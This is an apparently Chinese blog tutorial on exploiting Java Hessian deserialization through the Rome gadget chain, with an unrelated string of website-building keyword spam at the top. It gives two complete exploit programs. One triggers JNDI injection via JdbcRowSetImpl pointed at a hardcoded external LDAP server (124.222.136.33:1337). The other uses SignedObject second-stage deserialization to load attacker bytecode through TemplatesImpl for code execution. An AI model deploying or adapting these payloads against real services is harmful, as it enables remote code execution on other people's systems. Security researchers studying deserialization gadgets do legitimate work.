广东省建设厅官方网站多少钱,河北省建设厅网站站长,网站建设新手指南,企业管理信息系统有哪些目录
前言
出网——JdbcRowSetImpl
不出网——SignedObject 打二次反序列化 前文#xff1a;【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识
前言
正如我们前文所说#xff0c;当Hessian反序列化Map类型的对象的时候#xff0c;会自动调用其put方法#xff…目录
前言
出网——JdbcRowSetImpl
不出网——SignedObject 打二次反序列化 前文【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识
前言
正如我们前文所说当Hessian反序列化Map类型的对象的时候会自动调用其put方法而put方法又会牵引出各种相关利用链打法。map.put对于HashMap会触发key.hashCode()。
利用到hashCode的链子有很多如CC6和Rome相关链但很遗憾的是CC6因为一些原因无法使用后面会出一篇文章专门讲其原因。本文主要讲一下Rome出网和不出网的两种利用方式。 出网——JdbcRowSetImpl
只需要找一条入口为hashcode()的反序列化链即可比如我们常用的ROME链
简单回顾下Rome 的链核心是 ToStringBean这个类的 toString 方法会调用他封装类的全部无参 getter 方法可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。
而Rome链的触发点是EqualsBean#hashCode这就完美贴合了我们的需求
(参考文章【Web】浅聊Java反序列化之Rome——关于其他利用链)
EXP
package com.Hessian;import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;public class Hessian_Rome implements Serializable {public static void main(String[] args) throws Exception {JdbcRowSetImpl jdbcRowSet new JdbcRowSetImpl();String url ldap://124.222.136.33:1337/#suibian;jdbcRowSet.setDataSourceName(url);ToStringBean toStringBean new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);EqualsBean equalsBean new EqualsBean(ToStringBean.class,toStringBean);//手动生成HashMap防止提前调用hashcode()HashMap hashMap makeMap(equalsBean,1);byte[] s serialize(hashMap);deserialize(s);}public static HashMapObject, Object makeMap ( Object v1, Object v2 ) throws Exception {HashMapObject, Object s new HashMap();setValue(s, size, 2);Class? nodeC;try {nodeC Class.forName(java.util.HashMap$Node);}catch ( ClassNotFoundException e ) {nodeC Class.forName(java.util.HashMap$Entry);}Constructor? nodeCons nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setValue(s, table, tbl);return s;}public static T byte[] serialize(T o) throws IOException {ByteArrayOutputStream bao new ByteArrayOutputStream();HessianOutput output new HessianOutput(bao);output.writeObject(o);System.out.println(bao.toString());return bao.toByteArray();}public static T T deserialize(byte[] bytes) throws IOException {ByteArrayInputStream bai new ByteArrayInputStream(bytes);HessianInput input new HessianInput(bai);Object o input.readObject();return (T) o;}public static void setValue(Object obj, String name, Object value) throws Exception{Field field obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
} 不出网——SignedObject 打二次反序列化
因为种种限制TemplatesImpl不能依靠Hessian反序列化任意加载类(后面的文章会专门写这里按下不表)面对不出网的情况一个常见替代的方式是使用 java.security.SignedObject 进行二次反序列化。
SignedObject顾名思义推测其主要用途是对某个对象进行数字签名以确保数据的完整性和真实性。通过将对象使用私钥进行数字签名接收方可以使用对应的公钥来验证该对象的签名是否有效从而确保数据在传输或存储过程中没有被篡改。
关于SignedObject先看其构造方法
public SignedObject(Serializable object, PrivateKey signingKey,Signature signingEngine)throws IOException, InvalidKeyException, SignatureException {// creating a stream pipe-line, from a to bByteArrayOutputStream b new ByteArrayOutputStream();ObjectOutput a new ObjectOutputStream(b);// write and flush the object content to byte arraya.writeObject(object);a.flush();a.close();this.content b.toByteArray();b.close();// now sign the encapsulated objectthis.sign(signingKey, signingEngine);}
总的来说这段代码实现了将待签名的对象转换为字节数组并使用指定的私钥和签名引擎对该字节数组进行签名的过程。这样就创建了一个带有数字签名的 SignedObject 对象可以用于确保对象的完整性和真实性。
下面的EXP中给了这样一段构造我们顺带看一下 KeyPairGenerator keyPairGenerator;keyPairGenerator KeyPairGenerator.getInstance(DSA);keyPairGenerator.initialize(1024);KeyPair keyPair keyPairGenerator.genKeyPair();PrivateKey privateKey keyPair.getPrivate();Signature signingEngine Signature.getInstance(DSA);SignedObject signedObject new SignedObject(map,privateKey,signingEngine);
给到一点简单解读
首先通过 KeyPairGenerator 类生成用于数字签名的密钥对这里使用的是 DSADigital Signature Algorithm算法并将密钥长度设置为 1024 比特。接着生成密钥对其中包括一个私钥和一个公钥用于数字签名和验证。使用 Signature 类实例化一个用于数字签名的引擎同样选择了 DSA 算法。最后创建了一个 SignedObject 对象该对象包含了要被签名的 map 对象、私钥和数字签名引擎。通过这一步map 对象被使用私钥进行数字签名生成一个带有签名信息的 SignedObject OK点到为止我们接下来看打二次反序列化的核心SignedObject#getObject
public Object getObject()throws IOException, ClassNotFoundException{// creating a stream pipe-line, from b to aByteArrayInputStream b new ByteArrayInputStream(this.content);ObjectInput a new ObjectInputStream(b);Object obj a.readObject();b.close();a.close();return obj;}
注意到getObject为一个无参getter且该方法会从流里使用原生反序列化读取数据这就造成了二次反序列化从一个原生的readObject入口开始打链
注意二次反序列化是原生反序列化可以打TemplatesImpl下面给出示例
EXP
package com.Hessian;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;public class Hessian_SignedObject {public static void main(String[] args) throws Exception {byte[] code Files.readAllBytes(Paths.get(C:\\Users\\21135\\Desktop\\RuoYi-v4.7.1\\Rome\\target\\classes\\com\\rome\\Evil.class));TemplatesImpl obj new TemplatesImpl();setValue(obj, _bytecodes, new byte[][] {code});setValue(obj, _name, xxx);setValue(obj, _tfactory, new TransformerFactoryImpl());ToStringBean bean new ToStringBean(Templates.class, obj);ToStringBean fakebean new ToStringBean(String.class, obj);EqualsBean equalsBean new EqualsBean(ToStringBean.class, fakebean);HashMap map new HashMap();map.put(equalsBean, 1); // 注意put的时候也会执行hashsetValue(equalsBean, _obj, bean);//此处写法较为固定用于初始化SignedObject类KeyPairGenerator keyPairGenerator;keyPairGenerator KeyPairGenerator.getInstance(DSA);keyPairGenerator.initialize(1024);KeyPair keyPair keyPairGenerator.genKeyPair();PrivateKey privateKey keyPair.getPrivate();Signature signingEngine Signature.getInstance(DSA);SignedObject signedObject new SignedObject(map,privateKey,signingEngine);ToStringBean toStringBean1 new ToStringBean(SignedObject.class, signedObject);EqualsBean equalsBean2 new EqualsBean(ToStringBean.class,toStringBean1);HashMap hashMap makeMap(equalsBean2, xxx);byte[] payload Hessian2_Serial(hashMap);Hessian2_Deserial(payload);}public static byte[] Hessian2_Serial(Object o) throws IOException {ByteArrayOutputStream baos new ByteArrayOutputStream();Hessian2Output hessian2Output new Hessian2Output(baos);hessian2Output.writeObject(o);hessian2Output.flushBuffer();return baos.toByteArray();}public static Object Hessian2_Deserial(byte[] bytes) throws IOException {ByteArrayInputStream bais new ByteArrayInputStream(bytes);Hessian2Input hessian2Input new Hessian2Input(bais);Object o hessian2Input.readObject();return o;}public static HashMapObject, Object makeMap (Object v1, Object v2 ) throws Exception {HashMapObject, Object s new HashMap();setValue(s, size, 2);Class? nodeC;try {nodeC Class.forName(java.util.HashMap$Node);}catch ( ClassNotFoundException e ) {nodeC Class.forName(java.util.HashMap$Entry);}Constructor? nodeCons nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setValue(s, table, tbl);return s;}public static void setValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz obj.getClass();Field field clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}
}